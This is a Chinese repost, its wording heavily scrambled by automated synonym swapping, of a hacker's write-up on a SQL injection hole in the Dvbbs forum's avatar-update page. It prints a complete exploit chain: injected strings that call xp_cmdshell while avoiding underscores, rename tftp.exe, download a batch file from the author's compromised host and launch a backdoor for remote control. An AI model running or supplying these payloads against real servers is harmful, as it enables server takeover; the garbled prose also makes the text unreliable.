大雀软件园

首页 软件下载 安卓市场 苹果市场 电脑游戏 安卓游戏 文章资讯 驱动下载
技术开发 网页设计 图形图象 数据库 网络媒体 网络安全 站长CLUB 操作系统 媒体动画 安卓相关
当前位置: 首页 -> 网络安全 -> 防范措施 -> 动网的洞again

动网的洞again

时间: 2021-07-31 作者:daque

乒坛登岸名: n.e.v.e.r提交者邮件地方: n.e.v.e.r@tom.com提交者qq号子: 1143431题目: 动网的洞——again!版权:作品属中华安定网http://www.safechina.net和作家共通一切,连载请证明根源!!实质:捏脸的神人@2003.6.8我不是布勃卡,即使我能一次把寰球记载普及十几厘米,我一致不会分十几次去做,然而文献惟有一个一个地看,洞惟有一个一个地找,以是,呵呵……昨天辩论完后情绪很好,美美的睡了一觉后起来筹备上钩,然而开机后不到两秒钟呆板就挂了。faint!这破条记本客岁夏季也是如许,室温胜过30度就tmd的歇工,南京这几天够呛,从来我还巴望它撑到休假的。我也懒得急了,整理整理货色到书院去上机。在书院上钩先玩了会儿cs,被人打得烦恼,简洁扯乎。safechina那些常去的场合又没有革新,chinaren学友录上又是参差不齐的,还不如看看动网的乒坛。看啊看啊,看到了mymodify.asp,依照从来的风气,先找天生sql语句的场合,由于sql injection老是爆发在这耕田方。嗯,看看这边:conn.execute("update [user] set face='"&newfilename&"' where userid="&userid)userid我就不看了,看看newfilename有没有过滤。进取搜索newfilename,嗯,看到了:newfilename="uploadface/"&memberid&"_"&upfilename(1)memberid我也不看了,找upfilename,仍旧在很近的场合,是如许的:upfilename=split(upface,"/")再找upface,也是在不远的上头:set rs=conn.execute("select userid,face from [user] where userid="&userid)upface=trim(rs(1))不必看下来了,都没有过滤,该当是个洞。动网的大虾们对不感爱好的东东是不会滥用功夫去过滤的,比方要入库的face,此刻须要的不过运用的本领。最简单想到的是先弄一个反常的face存到数据库内里,而后让这一段步调去读出face来天生咱们蓄意的sql语句。在这之前,好好的看一下conn.execute之前的代码。哦,前方的if语句很多啊,要一个一个的成功经过的话,须要的前提很庄重……开始要upface内里只含有一个"/",其次必需要以"uploadface/"发端,还不许含有"_",嗯,不好办啊……我连忙用脚趾头想了几秒钟,有两条路不妨走吧。一、update来改处置员表,赢得一个处置员的权力,上传文献,迩来是有一个什么include的溢出是吧,不领会能不许用;二、挪用保存进程,然而要看对方的摆设还好吗了。即使是缺点作品,写到这边就要打住,嗯,我感触发端本领是很要害的,以是仍旧找了个场合尝试一下,好心的,固然。先来想想还好吗不妨满意那些前提,我先找了台呆板尝试我的办法,不即是不要包括"_"嘛。翻开sql的查问领会器,先来这个declare @a sysnameset @a='master..xp'+char(95)+'cmdshell'exec @a 'echo t>a.bat'--嗯,好的,没有下划线。c:\winnt\system32底下多了一个a.bat文献,呵呵。连忙找到有缺点的那一页(登岸->窜改部分消息),先随意上传一个文献,而后在自设置头像地方中填入咱们的“歹意”语句。这边打住一下啊,自设置头像地方是有长度控制的,我不领会是否即是face列的最大长度(估量是的),为了制止提交的语句被截断,我没有敢提交胜过长度的字符串。嗯,可见要俭朴一点运用了,我先看了看最长能有几何。uploadface/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'0123456789123456'--吩咐行最多16个字节,犹如够了吧?我感触够了,用echo写一个批处置文献该当不妨的……我先看看。uploadface/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'echo a>>a'--提交后我在c:\winnt\system32\下看,靠,没有文献a?这下子头大了。这台呆板上挪用保存进程一致没有题目,如何回工作?我连忙再看源代码,啊~~~~嗯~~~~哦……(前方两个字耗费时间30秒钟)从来再有一个场合的前提是err.number = 0,发端的功夫忽略了。前方步调会查看咱们提交的文献能否生存(呵呵,好在不过看看罢了),我领会干什么不实行到conn.execute了,提交的实质中再有不法的字符——">",这个是不许动作文献名生存的,提交上头的实质截止是err.number<0,也即是说要想运用这个缺点的话,提交的实质中还不许有不法的文献字符,比方"?","/","*"之类。仍旧好办,固然不许径直增添用户,不许重定向输入流,但用tftp上传文献仍旧方才好(几乎即是量身定做)!呵呵,看看底下一系列的吩咐行啊:0--------1------1234567890123456ren tftp.exe aren a a.exea xxxx.com get p [xxxx.com是我的肉鸡,哇嘿嘿哈!]ren p r.bat [不带参数的tftp传播了一个bat文献,实质嘛,呵呵]r.bat [到肉鸡以-i的办法载入了一个摆设好的rc.exe,方便之门]rc到此中断!呵呵,仍旧不妨做任何想要的工作了,不是吗?结果归纳一下。要运用这个缺点,开始要有一个备案用户,还要对方是用的mssql版(即使是access版,固然表面上去说不妨结构反常前提来探求对方的表的构造和数据,然而简直是太烦恼了……)。提交的数据(大概)有长度控制,即使挪用xp_cmdshell的话,要实行的吩咐行(大概)最多承诺16个字节。所有提交的数据中不许展示,"_","/","\","*","?",">","<","│"等。动网乒坛中一致的缺点有几何,我不领会,我也在全力的看,固然速率有点慢,呵呵。附上我尝试的功夫运用的数据:备案 → 登岸 → 遏制面板 → 窜改基础材料 → 自设置头像地方:uploadface/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'ren tftp.exe a'--uploadface/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'ren a a.exe'--uploadface/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'a xxxx.com get p'--uploadface/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'ren p r.bat'--uploadface/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'r.bat'--uploadface/1';declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'rc'--嗯,不包括"_"的情景下,declare @a sysname;set @a='master..xp'+char(95)+'cmdshell';exec @a'...'--这是否最小长度的写法,我不太领会,我试的好几种本领中这个是最短的……大概大虾们有更好的写法,望不惜指教!跋文:这也是一类缺点……靠!动网的洞太多了。有个大略的运用本领,先赢得处置员权力后再到recycle.asp中去注入,那内里也有洞!呵呵,我也不是跟动网过不去,不过伙伴的乒坛用的也是这个,帮他补的功夫,也就特地把那些货色贴出来吧!

热门阅览

最新排行

Copyright © 2019-2021 大雀软件园(www.daque.cn) All Rights Reserved.